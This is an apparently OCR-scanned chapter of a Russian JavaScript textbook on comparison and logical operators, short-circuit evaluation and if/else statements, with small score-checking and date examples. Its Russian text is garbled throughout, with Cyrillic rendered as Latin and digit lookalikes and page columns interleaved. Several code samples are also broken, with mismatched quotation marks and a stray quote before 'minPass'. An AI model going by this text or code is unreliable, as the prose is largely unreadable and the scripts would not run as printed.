// YACTb BTOPAA: BbIYMCIIAEM 11 3ANNCLIBAEM HOOPMALIAIO 06 UCTEHEHWI AKLIAN
var expiryMsg; // CoobLieHue, BbIBOAMMOE NONb30BATENAM

var today; // CerogHswHss pata

var elEnds; // InemeHT, B KOTOpOM OTOBpPAKAETCS COODWEHME 06 OKOHYAHMM aKLUK

function offerExpires(today) {
// BHYTpU (hyHKLMM 06bABASAEM NEpEMEHHbIE C JOKAJIbHOI 061aCTbI0 BUAMMOCTH
var weekFromToday, day, date, month, year, dayNames, monthNames;
// Dobasnsem euje 7 aHeir (B MUNTUCEKYHAAX)
weekFromToday = new Date(today.getTime() + 7 * 24 * 60 * 60 * 1000);
// Co3paem maccuBel, B KOTOpPbIX OYAYT COAEPIKATLCA HA3BaHUSA AHEN U MecALeB
dayNames = ['TloHepenbHuk', 'BropHuk’, 'Cpeay’, 'Yetsepr!, 'Mathuuy', 'Cy660Ty', 'BockpeceHbe'];
monthNames = ['AnBaps', 'Despans', 'Mapra', 'Anpens’, 'Mas', 'MioHs', 'Wions', 'Asrycra’, 'Centabps’, '0kTa6ps’,
© 'Hosbps', 'Nexabpa'];
// Cobupaem dparmeHTbl 4athl, KoTopble GyayT 0TO6paXaTbCa Ha CTPaHuLe
day = dayNames[weekFromToday.getDay()];
date = weekFromToday.getDate();
month = monthNames[weekFromToday.getMonth()];
year = weekFromToday.getFullYear();
// Co3paem coobuieHue
expiryMsg = 'Akuus 3aBepliaetcs B';
expiryMsg +=day + ' <br />("+ date + ' '+ month + "'+ year+')";
return expiryMsg;

}

today = new Date(); // 3anucbiBaem CerofHALWHIOW AaTy B NepeMeHHYI0
elEnds = document.getElementById('offerEnds'); // Monyuaem anement offerEnds
elEnds.innerHTML = offerExpires(today); // Lo6asnsiem coobLieHne 06 UCTEYEHUM aKLum

// 3aBepwaem BbipaxeHue hYHKLUM, BbI3BAHHON CPasy nocne Co3faHus

H0):
3HayoKk © YKa3blBaeT, 4HTO B atom npnmepe HarnagHo npogeMoHCTPUpOBaHbl HE-
KO npoAaoJsixXaeTcda c npe- KOTOpble KOHUENMUMWN, CBA3aHHbIE C aaton. OgHako ecaum

AblAYLLEN CTPOKM M paspblB  Ha MoJ/Ib30BAaTE/IbCKOM KOMMbIOTEPE HEBEPHbIE HACTPOIKMU

B 3TOM MECTE HE HY>EH. BpeMeHU, TO 1 AaTa «4epes CeMb AHeln» byaeT BbicYMTaHa
HeBepHoO. Mosb30BaTeNb YBUAUT A€Hb, OTCTOSALLMUN Ha He-
Ae/1t0 OT TOW AaThbl, YTO YCTAHOB/IEHA Ha €ro Yyacax B [laH-
HbI MOMEHT.

®YHKLUWUN, METObl, OBBEKTbI



DYHKLUMM NO3BONAT 06beANHATL B FPy bl Ha-
6opbl B3aMMOCBSI3@HHbIX MHCTPYKLUIM, HYXXHbIX
ANS pELLEHNS KOHKPETHOM 3a4auMm.

DYHKLUUM MOTYT NPpUHUMATb NnapameTpbl (MH-
dopMaumo, HEOOXOANMYIO A5 BbINOJIHEHNS
3a7a4n) 1 Bo3BpallaTb Kakoe-1mbo 3HadYeHue.

Ob6beKT — 3TO COBOKYMHOCTb MEPEMEHHbIX
N GYHKLMM, NpeacTaBASOWMX MOAEb TOFO UK
NHOrO ABJIEHUSA U3 peasibHOro Mupa.

B 06bekTe nepeMeHHble Ha3biBatoTCA CBOMCTBA-
MW, @ YHKLNN — MEeToAaMMN.

Bpay3sepbl peannsytoT 0O6bekTbl, MpeACcTaBIsA0-
LLIME KaK OKHO MPUIOXEHUS, TaK U 3arpy>XeHHbIN
TyAa AOKYMEHT.

B JavaScript ecTb ps/, BCTPOEHHbIX 0OBbEKTOB,

B YAaCTHOCTMW, String, Number, Math 1 Date. Ix cBOW-
CTBa U MEeTOAbl NpeAoCTaBAAT QYHKLNOHAN,
NOMOTALLNIN MACATb CLLEHAPUN.

MaccuBbl 1 06BEKTbI MOXHO MCMOJ/1b30BaTb A/14
CO3/aHNA COXHbIX MHOXECTB AaHHbIX (Mpu-
YeM MaccuB crnocobeH coaepaTb 06BbEKTHI,

a 0O0bekT — MaccuBbl).






BarnsaHyB Ha 610K-cxemy, nerko ybeamTtbes, 4To
BbINO/IHEHWE BO/IbLLUMHCTBA cueHapues (Kpome
CaMbIX 3/1EMEHTapHbIX) MOXET NONTU MO OAHOMY
N3 HECKOJIbKUX NMyTen. Taknm obpasom, B 3aBUCU-
MOCTW OT CUTyaLuun bpay3ep BbINO/IHAET B CLieHa-
puKn pasHble dparmMeHTbl Koga. B aTon rnase mbl
Hay4YMmMcs Co3Z4aBaThb NOTOK AaHHbIX B CL,eHapum
N ynpaBasaTb UM A9 06paboTKN pasINYHbIX CUTY-
aumnn.

3auyacTyio cLLeHapum 40/KHbI A€NCTBOBATb MO-Pa3HOMY B 3aBUCUMOCTM OT TOrO, Kak
no/sib30BaTeE/Ib B3aUMOAENCTBYET € Be6-CcTpaHuuen n/mnm c okHom bpaysepa. Ytobbi

onpefennTb, KaAKOW BapuaHT UCMOJIHEHUS KOoZa A0/1>KeH b6bITb BbibpaH, Mporpammuc-
Tbl 06bIYHO ONUPAKOTCA Ha CAEAYIOLLNE TPU KOHLEMLUN.

OUEHKA PELLEHWE UMK

Mo>HO aHannsupoBaTb o pe3ynbTaTam oueHKMU Bo MHorux cnyyasx tpe-
3HaYyeHnsa B BalLMX MO>HO onpeAeninTb, Mo 6yeTCs MHOroKpaTHO
cueHapusax gnsionpeje- KakoMy My TU A0/IKHO BbIMOJIHUTbL OAMH 3Tan
NI@HNS TOrO, HACKO/IbKO NOWTW Aanee BbINOHE- cueHapus uan Lenyio
OHW COOTBETCTBYIOT Hue cueHapus. ceputo TakoBbIX.
oOXXUAaemMbliM pe3y/ib-

TaTam.

@ PELUEHUNA N LUUKIIbl
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MPUHATUE PELLEHNW

B CUuEHapUn 3a4aCTyrO NPpUCYTCTBYET HECKOJIbKO TOYEK,
rae iIpMHNMarTCA peLUEHNA O TOM, KaKME CTPOKU KOJa
AO0J1>KHbI ObITb BbIMOJIHEHDI panee. Takue pa3BUJIKA yp,o6-
HO roTOBUTDb NP MNMOMOLLLA 6/10K-CXEM.

Pom6 B 6/10K-CXeME COOTBETCTBYET TOWN TOUKE,
rae A0JI)XHO 6bITb MPUHATO peLueHue, B pe-
3y/1bTaTe KOTOPOro BblMOJIHEHUE KOAa HOVIAET
no o4HOMY UAWN ApYyromy nyTu. Kaxxabli nyTb
BK/1toYaeT B cebda cBon Habop 3agad. CooT-
BETCTBEHHO, Mbl MULLEM OTAE/bHbIN KOA ANS
Kaxxgon cneumnduryeckon cuTyaumu.

YT106bl ONpeaennTb, Mo KAKOMY NyTU MongeTt
BbIMOJIHEHWE KOAa, CTaBUTCS ycnosue. Hanpu-
Mep, MOXXHO MPOBEPUTb, PaBHO /1IN OAHO 3Ha-
YeHWUE APYromy UK Xe aBnaeTca 60abwnm
nnmbo meHbLWIMM. ECin ycnoBue BO3BpaLLaeT
true, TO BbINOJIHEHME KOAA UAET MO OAHOMY
nyTu, ecnu false — 1o no gpyromy.

Ha6paHo nn
B TecTte 6oJiee
50 6annoB?

CoobuieHue:
«MoBTOpPUTE NOMNbITKY»

CoobuieHue:
«MponpeHo!»

NMPOAOJIKUTb
BbINOJIHEHUE
CLEHAPUA...

Kak Bbl y>Xe 3HaeTe, CyLLeCcTBYIOT onepauumu
ANA BbINOJIHEHUSA 6Aa30BbIX MAaTEMATUYECKUX
AENCTBUA AU ANa 06beaNHEHNA ABYX CTPOK.
AHANIOMMYHO CYLLIECTBYIOT ONepaLnmm cpaBHe-
HUS, MO3BO/IAOLLNE CONOCTABAATb 3HAYEHUNS
M NPOBEPSATH, BbIMONHAETCA /1M 3a4aHHOE
ycnosue.

PELUEHUA N LUUKIIbl

K onepaumsam cpaBHEHUS OTHOCATCSA CUMBO-
nbl «6onbie» (>) n «meHbwey (<), a Takxe
ABOMHOM 3HaK paBeHCcTBa (==), NpoBepAOLLNA,
ABNAOTCA /N 4Ba 3HAYEHUA O4UHAKOBbIMMU.



OUEHKA BbINOJIHEHW4A
YCJIOBUN 1 YCJTOBHbIE
MHCTPYKUNW

PeweHue NMPMHUMAETCA B ABa 3Tarla.
1) BblMMCIAETCSA Bblpa>XeHne, KOTopoe BO3BpPALLLAET 3HaA-

yeHue;

2) YC/Z10BHa4d onepaunsa ykasblBa€T, HTO A€J1aTb B ﬂ,aHHOVI

cutyauun.

NMPOBEPKA YCJ/10BU4A

YTo6bl MPUHATL pELLEHWE, KOZ NPOBEPSAET
Tekyllee cocTosiHMe cueHapus. O6bIuHO 3TO
AeslaeTCcs NyTeM CONMOCTaB/IEHNS 3HAYEHUN,
Npu KOTOPOM UCMO/b3yeTcs onepaumns cpas-
HeHusd, Bo3Bpawyatowas true nam false.

YCNTIOBUE

I_l_l
if (score > 50) {

document.write('MpoitgeHo!");
}else {

document.write('TloTopuTe NONbITKY...");

}

Tak>ke MOXHO UCMO/Ib30BaTb Cpa3y HECKO/IbKO
YyCNOBWii, KOMBUHMPYS ABe 1 6osiee onepauum
cpaBHeHus. Hanprumep, MOXHO NpoBepuUThb,
BbIMOJIHAOTCA /1M 062 U3 ABYX MOCTaBJEHHbIX
YCNOBWA NGO BbIMONHAETCS IV INLLIB OAHO U3
HECKOJ/IbKUX.

YCJNTIOBHbIE MHCTPYKL WA

B ocHOBE YC/IOBHOW UHCTPYKLUUN IEXMUT KOH-
uenuus «if/then/else» («kecnn / 10 / B npoTuB-
HOM cnyuJaey). Ecamycnoeue cobnwgaeTcs,

TO Ball KOA BbIMOJIHAET 0AHY Unu 6onee NHC-
TPYKUWWA, B TIPOTUBHOM CJ/1y4ae OH BbINMONIHAET
ApYyryto onepauuio, IM6o NpocTo nponyckaeTt
AaHHbIN LWar.

BOT YUTO O3HAYAET 3TOT KOA

Ecnv ycnoBue BepHeT true, 6yAeT BbINoOIHEHA
MHCTPYKLMS, 3aNMcaHHas B NepBbiX GpUTrypHbIX
ckobKax, B NPOTUBHOM CJ/ly4ae — UHCTPYKLUUS
BO BTOPBbIX.

Mbi eLLLe MOroBopuM 06 UCTUHHBIX U JIOXKHbBIX
Bblpa>XeHnsx Ha c. 173.

Ha cneayloLmx cTpaHuuax Bbl BCTpETUTE
HECKOJ/IbKO BapMaHTOB onepaLuii C UCMOo/1b30-
BaHueM if..., a Tak)Xe 0CobYyI0 YC/I0BHYIO KOHC-
TPYKLMIO, KOTOpas Ha3blBaeTCs UHCTPYKLUEN
nepekntoyeHus. Obuiee Ha3BaHWe BCEX ITUX
KOHCTPYKLUWA — YC/IOBHbIE MHCTPYKLUN.

PELUEHUA N LNKJbI @



OlNeEPALNN CPABHEHWA:
[MPOBEPKA YCJIOBUW

MO>XHO OLEeHUTDb cutyauumio, CpaBHuUB TO U1K NHOE 3Ha4e-
Hue C oXXngaembim. B pe3y/sibtaTe€ Mbl MONYYNUM NOrnN4YecC-

Koe 3HayeHue: true nnwm false.

PABHO

STaonepauus cpaBHUBaeT ABa 3HA4YeHUS (unc-
na, CTpokKu nnau J'IOI'VI‘-IECKVIE), npoeepas, oguHa-
KOBbl NN OHW.

'Hello’ == 'Goodbye' BepHer false

Tak KaK ABEe 3TU CTPOKU HEOZMNHAKOBHI.
'Hello’ == 'Hello' BepHeT true

Tak KaK ABe 3TU CTPOKU MGEHTUYHAHI.

Kak npaBusio, pekomeHAyeTCs UCNob30BaTb
CTpOrvm meTtoa:

CTPOIo PABHO

STaonepauus cpaBHUBaeT ABa 3Ha4YeHUS, 04-
HOBpPEMEHHO NpoBepAd UJEHTUYHOCTbL KaK TUMNa
AdHHbIX, TAK U 3HAYEHMUS.

'3' === 3 BepHerT false
Tak Kak TUM JaHHbIX UM 3HAYeHne cnpasa

ncneeBa ot onepauun He coBragaroT.

'3' ==="3"' BepHer true
TaK Kak TUN AaHHbIX AU 3HAYEeHWe Cpasa

1 c/ieBa OT onepauuu CoOBMNajaroT.

PELUEHUA N LUUKIIbl

HE PABHO

STaonepauuns cpaBHUBaeT ABa 3Ha4YeHUs (4unc-
na, CTpoku nnm }'IOI'VI‘-IeCKVIE), npoeepAas, aBns-
OTCA 1IN OHU HEOQUNHAKOBbIMMU.

'Hello' !="'Goodbye' BepHeT true

TaK Kak ABE 3TN CTPOKU HEOLUHAKOBbI.
'Hello' !="Hello' BepHeT false

TaK Kak AB€ 3TN CTPOKU UJEHTUYHBbI.

Kak npaBuao, peKoMeHAYeTCs UCMOb30BaThb
CTPOrnin MmeToA:

' [
[

(]

CTPOIo HE PABHO

STaonepauuns cpaBHUBaeT ABa 3Ha4YeHUs (4unc-
na, CTpoku nnm l'IOI'VI‘-IeCKVIE), npoeepAasa, aBns-
TCA NN HEOQUHAKOBbLIMU KaK UX TUMNbl AaHHbIX,
TakK U BE€JINYUHbI

'3' I== 3 BepHer true
TaK Kak TUM JaHHbIX UM 3HAYeHUe cnpasa

ncneeaoTonepaunn He coBriagarorT.

'3'1=="3"' BepHer false
TaK Kak TUM AaHHbIX UM 3HAaYeHWe cnpasa

ncneBaoT onepaunn CoBrnagarorT.



npOI’paMMVICTbI Ha3blBalOT NPOBEPKY NN TEC-
TUpOBaHWe yCNI0BUS BblMUCIEHNEM. YC0BUSA
MOryT 6bITb ropasao c/io>kKHee TeX, YTO NoKa3a-
Hbl 34€Cb, HO 06bI4HO OHU pe3ynbTUpYT B O4HO

13 ABYX 3HauyeHun — true nau false.

>

BOJIbLUE

dTa onepauna npoBepsdeT, ABNdeTCa I HNCO
c/ieBa OT 3Haka 6L5I7bLLIMM, 4YeM 4yunciao cnpasa.

4 > 3 BosBpalyaert true
3 > 4 Bo3Bpawaer false

> =

BOJIbLLUE UJ1N PABHO

dTa onepauna npoBepsdeT, ABNdeTCa I HNCO0
c/ieBa OT 3Haka 6L5I7bLLIMM, 4YemM yunciao cnpaea,
UNWN paBHbIM eMY.

4 >= 3 Bo3BpalyaerT true
3 >= 4 Bo3Bpauyaert false
3 >= 3 Bo3BpaLyaerT true

Cnep,yeT CKa3aTb O Nape Ba>XHbIX VNCKJIIOYEHUN.

1. lloboe 3HaueHne MoXeT PacLeHNBaTbCs
KaK UCTUHHOE U/IN JIOXKHOE, Aa>ke eC/IN OHO He
ABNSIETCA JIOrMYECKUM, To ecTb true unu false
(nogpobHee 06 3TOM cM. Ha c. 173).

2. Mpw cokpaleHHOM BbIYUCIEHUMN BbIPaXKEHUN
3anycKkaTb BbIMNOJIHEHME YCNOBUSA NOPOY He 069~
3aTenbHo (cm. c. 175).

<

MEHbLUE

STa onepaunda NnpoBepseT, ABNAAETCA /I HNCNO0
cneBa oOT 3HakKa MEeHbLLUNM, HEM YNC10 CnpaBa.

4 < 3 Bo3Bpawyaer false
3 < 4 Bo3BpalyaerT true

<

MEHbBLUE UJ11 PABHO

STa onepaunda NnpoBepseT, ABNAAETCA /I HNCNO0
cneBa oOT 3Haka MEeHbLLUNM, HEM YNC10 CnpaBa,
WNWN paBHbIM eMYy.

4 <= 3 BosBpawyaer false

3 <= 4 Bo3Bpalyaert true
3 <= 3 Bo3BpaLyaert true

PELUEHUA N LNKJbI @



CTPYKTYPUPOBAHWE
OlNePALNN CPABHEHWA

Kak npasuno, B 1t060M ycn10BUM NpUCYTCTBYET OZHA
onepauusa v aea onepaHaa. OHM MoOryT NpeAcTaBaATb
coboln 3HaYeHNa UM NepeMeHHble. 3a4acTyl BCTpeya-
IOTCS Bblpa>XeHWUsl, 3aK/Il0YEHHbIE B CKOOKMN.

CKOBKHU
]

SCOore >= pass
( pass)

ONEPAHAO ONEPALMA ONEPAHAO

CPABHEHMSA
Kak Bbl NOMHUTE U3 rNaBbl 2, BblLLeNPUBEAEHHbI EC/K BblpaXk€HMe UCMO/b3yeTCa B KayecTse
KoA npeacTaBnseT coboi BbipaXeHne, NoCKob- ycnosua npy paboTe c onepauynen cpaBHeHus,
Ky yC/0BUE pe3ynbTUpyeT B OAHO 3HAYEHME. TO 3TO Bblpa>ke€HMe BaXKHO 3aK104aTh B CKOBKMU.
B AaHHOM ciyyae 3To bygeT 3HaueHue true an Ho ecnu Bbl NpMcBanBaeTe 3HaYeHNE NepeMeH-
false. HOW, TO CKOBKM He HY>XHbI (CM. Ha cieaytoLen
cTpaHuue).

PELUEHUA N LUUKIIbl



MCMNOSIb30OBAHUE
OMEPALIN CPABHEHUSA

JAVASCRIPT c04/js/comparison-operator.js

var pass = 50; // MpoxoaHoit 6ann
var score = 90; // HabpaHHbiit 6ann

// NpoBepsiem, npowen N nonb3oBaTeb Tect

var hasPassed = score >= pass;

// BbiBOofMM co0bleHMe Ha CTpaHuLe
var el = document.getElementById(‘answer');
el.innerHTML = 'TpoxoxpaeHue yposHs: ' + hasPassed;

PE3YJ/IbTAT

[poxoxaeHne ypoBHs: true

B Hanbonee npocTom cnyyae
onepauus CpaBHeHWs Nos-
BOJISET COOTHECTU A BE Nnepe-
MEHHbIE Y BEPHYTb B pe3y/ib-
TaTe CpaBHEHUs 3HaYeHMe true
nnu false.

B gaHHOM npumepe nosb3o-
BaTe b MPOXOAMUT TeCT, a cue-
Hapwui coobLiaeT, yaanoch
I CNPaBUTbCA C AAHHbIM
3Tanom.

B Hayane sToro npumepa mbli
yCTaHaB/IMBaem ABe nepe-
MEHHbIE:

1. pass, rae byfeT coaepxaTtbcs
npoxozaHon 6ann;

2. score, rAae OyAeT HAaXoANTbCA
6ann, HabpaHHbIN Nosb30Ba-
Tenem.

YTo6bl ONpEeAENnnTb, NpoLuen
JIM Nosib30BaTeNb TECT, one-
pauusa cpaBHeHUs NpoBepsieT,
ABNAETCS IN 3HaYEHUeE score
60/1bLLIE NN PABHbBIM pass.
Pe3ynbtat — true nnwu false —
coxpaHsieTcs B NepeMeHHOM
hasPassed. B cheaytowiei ctpo-
Ke OH BbIBOAUTCS Ha 3KpaH.

B nocneaHunx ABYyX CTpoKax
BblAE/ISEM 3/IEMEHT, KOTOPO-
MY NPUCBOEH naeHTUdUKaTop
answer, @ 3aTeM 06HOBASIEM
KOHTEHT 3TOro 3/1IeMeHTa.
Takasi TexHuka nogpobHee
paccmaTpuBaeTcs B cieay-
ouien rnase.

PELLUEHUA N LNKbI



NCINOJIb3OBAHWE
BbIPAXXEHWNN

C OMNEPALUNAMV
CPABHEHWHA

OnepaHa cnocobeH npeacTaBNATb COHOOM HE TOIbKO
eANHNYHOE 3HaYEeHNE UIN UMS NepeMeHHON. B kavec-
TBE onepaHAa Tak>XXe MOXEeT BbICTynaTb BbIpaXkeHune
(nockonbky Nntoboe BbipaxkeHne pesybTUpPYeT B OAUHOY-
HOe 3HayeHune).

CKOBKHU
]

((scorel + score?) > (highScorel + highScore2))
L | | | L | |
OMNEPAHLO ONEPALUSA OMNEPAHLO
CPABHEHUSA

PELUEHUA N LUUKIIbl



B AaHHOM MpuMepe paccmart-
puBaeTCcs ABYX3TarHbI TECT;
HUXe NpUBEAEH KoZ, MpoBe-
pAOLWNIA, AOCTUT IN NO/b30-
BaTe/ib HOBOIrO MakCUMasb-
HOrO 3HAYeHMs, To ecTb Nobun
NN NpeabIayLWmnin pekopa,.

JAVASCRIPT

var scorel = 90;
var score2 = 95;

CPABHEHWE OBY X

BbIPAXKEHWNW

PaboTa cueHapusa HaunMHaeTca
C COXpaHEeHMUs B NEPEMEHHbIX
Tex 6annos, KOTOpbIe MNO/b30-
BaTe/ib Habpan B ABYX 3Tanax.
3aTeM peKkopAHble 3HauyeHumsa
AN19 KaXKA0ro U3 ABYX 3Tanos
COXPaHAKTCA eLLE B ABYX
nepeMeHHbIX.

// bann 3a nepBbiit 3Tan
// bann 3a BTOpo# 3Tan

var highScorel =75; // Pekoppa 3a nepBblit 31an
var highScore2 = 95; // Pekopg 3a BTOpo# 3Tan

// NpoBepsieM, NpeBbIWatOT 1M HabpaHHble 0YKM aKTyasbHble PEKOPAbI
var comparison = (scorel + score2) > (highScorel + highScore2);

// BblBOAMM COOBLEHNE Ha CTPaHULY
var el = document.getElementById('answer');
el.textContent = '"Hosblit pekopa: ' + comparison;

PE3YJIbTAT

HoBbin pekopa: true

Onepauunsa cpaBHeHUs Npo-
BepseT, NpeBbILIaeT 1M 06-
LM pe3ynbTaT, HabpaHHbIn
nonbsoBaTesieM, peKopAHbIN
pe3ynbTaT AN faHHOrO TecTa,
nocJie yero cueHapui coxpa-
HSieT NocnefHU pesynbTaT

B NepeMeHHOW comparison.

c04/js/comparison-operator-continued.js

OnepaHA, pacrnooXXeHHbIN

B J1IEBOV YacTu onepauumn
CpaBHEeHMS, BblYMCAsieT 06-
it 6ann nosnb3oBaTens.
OnepaHa, pacnosloXXeHHbIN
cnpaBsa, CKnagblBaeT pekopabl
3a 06asTana. 3aTemM NonyyeH-
HbI pe3ynbTaT 3anucbiBaeTcs
Ha cTpaHuue.

Korga mbl npucBavBaem ne-
pPEMEHHOI pe3yibTaT CpaB-
HeHus, obbemMoL e cKobku
(Ha npeAblAyLLen cTpaHuLle
OHM YepHble) Heoba3aTeNbHbI.
OAHaKo HEKOTOpPbIE MPOrpam-
MMCTbl BCE PAaBHO NO/b3YOTCH
TakuMm ckobkamu, 4Tobbl
0603HAYNTb, YTO KOZ pPe3y/b-
TUPYET B O4HO 3HayYeHue. [py-
rne nosib3yrTcsa 06bemo-
LLMMU CKOBKaMM INLLb B TEX
cnyJasx, korga oHu obpamns-
10T YaCTb YC/I0BUS.

PELLUEHUA N LNKJbI



J1IOI"MYECKUWE OTEPALUNIN

Kak npasunJjo, onepaunn CpaBHEHNA BO3BpaLLLalOT O AN~
HO4YHble 3Ha4YyeHus — true nnu false. Jlornyeckune onepa-
LUNUN NMO3BONIAKOT COMOCTABJIATb pe3y/ibTaTbl ABYX U bonee

onepauun cpaBHeHUs.

PesynbTupytoT v 06a BbipaxeHus, 11 2, B true?

OTeerT: false

BbIPAXKEHUE 3

((5<2)

&é( (2 >=3))

NONNYECKASA

BbIPAXKEHUE 1

MATb MeHbWwe ABYX?
OTBer: false

B npuBeaeHHOM BbILLE CTPOKE KoAa coaep>KaTcs
TPU Bblpa>keHus, KaXk0€e U3 KOTOPbIX pe3y/ibTH-
pyeT B true nnu false.

B Bbipa>keHUsIX, pacCnoJIOXKEHHbIX CNpaBa u c/e-
Ba OT /IOrMYeCcKomr onepaunmn, UCNob3yTcs
onepauuu cCpaBHEHUS, Npuyem obe onepauunm
cpaBHeHUs Bo3BpaLlatoT false.

PELUEHUA N LUUKIbl

OMNEPALMSA

BbIPAXKEHUE 2

[Ba 60/bLue NN paBHO TpeM?
OTBer: false

B TpeTbeMm Bblpa>keHUU NpUMeHaeTCcsa 1orn-
yeckas onepauus (a He onepaumsa cpaBHEHUS).
Jlornyeckas onepauus «M» nposepseT, Bo3-
BpaLLaioT n true BbipaXKeHUs, CTosALLME Mo obe
CTOPOHbI OT cMMBO10OB &&. B saHHOM cnyyae 310
He Tak (06e onepaumm cpaBHeHMs BO3BpaLyaloT
false), noTOMY flornyeckas onepauns pesynbTu-
pyerT B false.



JIOT'NMYECKOE «U»

STa onepauwus nposepset 6osee
OAHOTO YC/OBUS.

((2<5) 8& (3 >=2))
BO3BpawiaeT true

Ecnn 06a Bblpa>keHUs pesyb-
TUPYIOT B true, TO U Bblpaxke-
HWe C IornYecKor onepaumnen
Bo3BpaLlyaeT true. Echv ogHo
13 BblpaXXeHUI C onepaynamm
CcpaBHeHus Bo3BpaLuaerT false,
TO U Bblpa>XeHne C 10rmMyeckomn
onepaumuen sepHerT false.

true & true BosBpauaer true

true && false Bo3Bpauaer false
false & true Bo3Bpauwaer false
false && false Bo3Bpauyaer false

JIOTMYECKOE «UJTN»

STa onepauus npoeepseT Kak
MUWUHUMYM OLHO yC/IOBME.

((2<5) || (2<1))

BO3BpaLlaer true

Ecnun nio6oe 13 BbipaxxeHUin
pe3ynbTupyeT B true, TO U Bbl-
pa>xxeHWe c noruyeckon one-
pauven Bo3BpawjaeT true. Ecnin
o6a BblpaXkeHMs c onepaunsmu
cpaBHeHuWs Bo3BpalyatoT false, To
1 obLee BblpaXkeHNe Bo3BpalLia-
et false.

true || true Bo3Bpawaer true
true || false Bo3Bpawaer true
false || true Bo3Bpawaer true
false || false Bo3spawaer false

JNOr'MYECKOE «HET»

STa onepauus npyHUMaeT
OZHO JIOrUYecKoe 3HaYeHne
1 UHBEPTUPYET ero.

1(2<1)
BO3BpaLlaeT true

Mocne npumeHeHns aTon one-
pauuu pesynbTaT BblpaXKeHus
CcTaHOBUTCSA 06paTHbIM. Ecnin
6e3 3Haka ! nepeg Bblpaxe-
HVWEeM OHO AaBaJsio pesynbTaT
false, To c 3TON OoNepauuen
BepHeT true. ECan MHCTpyKUUSA
BO3Bpallana true, To C 3TOM
onepauuen byseT BosBpa-
wathb false.

!true BosBpauwaer false
!false Bo3Bpauyaer true

COKPALLEHHOE BbIYHNCJIEHUNE

Jloruyeckue BbipaxeHus
BbIYMC/ISIOTCSA C/IeBa Hanpago.
Ecnv nepBoe ycnosue npe-
AocTaBnseT uHbopmaumtio,
AOCTaTOYHYIO AN OTBETa Ha
BOMpPOC, TO OTNagaeT Heobxo-
AUMOCTb BbIYUCNATb BTOPOE
ycnosue.

false && anything
A
Mbi Hawnu false

COOTBETCTBEHHO, NPOAO-
aTb BbIUNC/IEHWNE HE UMEET
cMmbicna. PesynbTaT yxe He
byaeT paBeH true.

true || anything

A

Mol Hawnw true
He nmeet cmbicna npoaon-
XaTb BbIYMCNIEHNE, MOCKObKY

Kak MUHMMYM OZJHO 3HayeHue
y>e paBHo true.

PELUEHUA N LNKJbI



NCIMNOJIb3OBAHWE
JIOTMYECKOTI'O «»

B AaHHOM NpuMepe paccMoT- Jlornyeckoe «M» ncnonbsyet- 3akaH4YuBas 3TOT NPUMeEp, Mbl
peH MaTeMaTM4ecKui TecT, csl, UTo6bl NPOBEPUTD, ABASA- JaeM Mo/ib30BaTe/Io 3HaThb,
npoxoAsLui B ABa aTana. Ha eTCA /IN No/Ib30BaTENbCKUN npoLuen v oH oba aTana.
KaXKAoM 3Tarne Tecta UCMoJib- 6ann B oboux aTanax recta

3yl0TCA AABE NEPEMEHHbIE: paBHbIM NpoXoAHOMY 6anny

B OAHOW U3 HUX COAEPXKUT- 160 NpeBbILLAOLNM ero.

csi pe3ynbTaT, HabpaHHbIN PesynbTaT coxpaHseTcs B ne-

nosib30BaTe/IEM B XO4€ 3TOr0 pemeHHoW passBoth.

3Tana, B ApYyron — npoxoaHomn
6ann, KOTopbIn HEO6X0AUM
ANa nepexoa Ha caeayrLwmumn
aTan.

c04/js/logical-and.js JAVASCRIPT

var scorel =8; // bann 3a nepsblit 3Tan
var score2 = 8; // bann 3a BTopoit 31an
var passl=6; //TpoxogHoi 6ann 3a nepesblit 3tan
var pass2 =6; // lpoxogHoi 6ann 3a BTOpoi 3Tan

// NpoBepsem, npolwen v nonb3oBatenb 06a 3Tana, pesynbTaT COXpaHAeM B NEpeMeHHO
var passBoth = (scorel >= pass1) && (score2 >= pass2);

// Co3naem coobuieHue
var msg = '06a 3tana npoiiaeHsl: ' + passBoth;

// BblBOAMM co0bLeHWe Ha CTpaHNLY
var el = document.getElementById('answer');
el.textContent = msg;

CuTyauus, B KOTOPOW MNPUXO- PE3Y/IbTAT
ANTCA BBIBOAUTB Ha CTpaHULy

aorn4yeckoe Bblpa)KeHMe? (KaK

B JAdHHOM npwmepe), BO3HU-

KaeT 4O0BOJIbHO peAKo. Hwnxxe

B 3TOW rnaBe 6y,qu nokasaH

bonee Pafl'lpOCTPaHHblﬁ O6a 3Tana npoigeHbl: true
cLueHapum: Bbl NpoBepsieTe yc-

10BUE, N €CJZIN OHO BblAaeT pe-

3ynbrtart true, TO BbIMONHATCA

nocneagywoume MHCTpyKUun.

PELUEHUA N LUUKIbl



MCIOJ1Ib3OBAHWE

JIOIM'MYECKOTI O «J1N»
N JNOTMYECKOTIO «HET»

Hwu>xe mbl HeMHOro Nepepe-
Nanv TeCT U3 npeablayLLero
npumepa — Ha 3TOT pas uc-
No/sib3yeM B HEM JIOTUYECKYI0
onepauuio «MJINy», yTobbI ON-
peaenuTb, MPOLLE /1M NOJIb30-
BaTesib XOTS 6bl 0O4MH U3 ABYX
3TanoB. EC/v oH NpoLuen Tosb-
KO OAMH 3Tan, TO TECT HYXXHO
BbINONHUTbL MOBTOPHO.

O6paTuTe BHUMaHWe Ha
4yncna, COXpaHeHHbIe B YeTbl-
pex nepeMeHHbIX B Havyane
npumepa. Monb3osaTtesb
npowen oba atana, nosTomy
B MepeMeHHo minPass 6yaeT
coAepXaTbCs JIoruyeckoe
3HauyeHue true.

Janee naet coobuieHue,
coxpaHeHHoe B mepeMeHHOoWm
msg. B KOHUEe coobLyeHmns cTo-
uT norunyeckoe «HET», obpa-
wjatouee pesyabtaT U3 10orm-
Yyeckon nepeMeHHOMN, TO eCTb
npespaujatowiee ero B false.
3aTem coobLyieHne 3anucbiBa-
eTCcs Ha CTpaHuuy.

JAVASCRIPT

var scorel=8; // bann 3a nepsblit 31an
var score2 = 8; // bann 3a BTopoii 3Tan
var passl=6; //[poxopHoi 6ann 3a nepeblit 31an
var pass2 = 6; // lpoxogHoii 6ann 3a BTOpoit 3Tan

c04/js/logical-or-logical-not.js

// Mposepsem, npowen nu nonb30BaTeNb XOTA Obl OAMH 3TaN, Pe3ynbTaT COXPaHAEM B NepeMeHHO
var minPass = ((scorel >= pass1) || (score2 >= pass2));

// Co3paem coobuieHne
var msg = 'TpeGyetcs nu nepecgaya: '+ 'minPass;

// BbiBOgMM COObLEHNE Ha CTPaHMLY

var el = document.getElementById(‘answer');
el.textContent = msg;

PE3YJIbTAT

TpebyeTca nu nepecpava:
false

PELLUEHUA N LNKJbI



MHCTPYKUNW IF

